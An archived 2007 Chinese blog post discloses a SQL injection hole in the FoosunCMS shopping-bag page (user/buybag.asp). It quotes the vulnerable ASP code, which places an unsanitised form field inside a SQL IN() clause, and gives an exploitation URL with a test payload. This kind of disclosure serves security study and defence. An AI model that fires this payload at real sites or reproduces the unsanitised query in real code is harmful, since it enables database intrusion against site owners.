坦丁's BLOG
j8a4sh · 2007-08-25
<< 你相信吗?教你开机一瞬间就自动关机
|
首页
|
HTML七种加密解密 >>
2007-08-25
风讯注入漏洞
- [
技术
]
版权声明
:转载时请以超链接形式标明文章原始出处和作者信息及
本声明
http://j8a4sh.blogbus.com/logs/7924466.html
漏洞文件:
user/buybag.asp
40行开始
if request.Form("action")="makeorder" then
Dim productIDS,OrderRs,BagRs,OrderDetail,OrderNumber,ExpressCompany "
productIDS=DelHeadAndEndDot(request.Form("productIDS"))//这个函数功能是去掉头尾的逗号
Set orderRs=Server.CreateObject(G_FS_RS)
Set BagRs=Server.CreateObject(G_FS_RS) '
Set orderDetail=Server.CreateObject(G_FS_RS)
orderRs.open "Select * From FS_ME_Order where 1=2",User_Conn,1,3
BagRs.open "Select mid,BuyType,AddTime,UserNumber,BuyMoney,BuyNumber from FS_ME_BuyBag where MID in("&productIDS&")",User_Conn,1,1 ;
in()中注射发生!!
漏洞利用方法:
http://wwroot/user/buybag.asp?action=makeorder&productIDS=1
and 1=1)and(1=1
Tag:
引用地址:
jash520
发表于
20:30:38
|
编辑
|
继续话题
|
转发
|
推荐
发表评论
原始快照:web.archive.org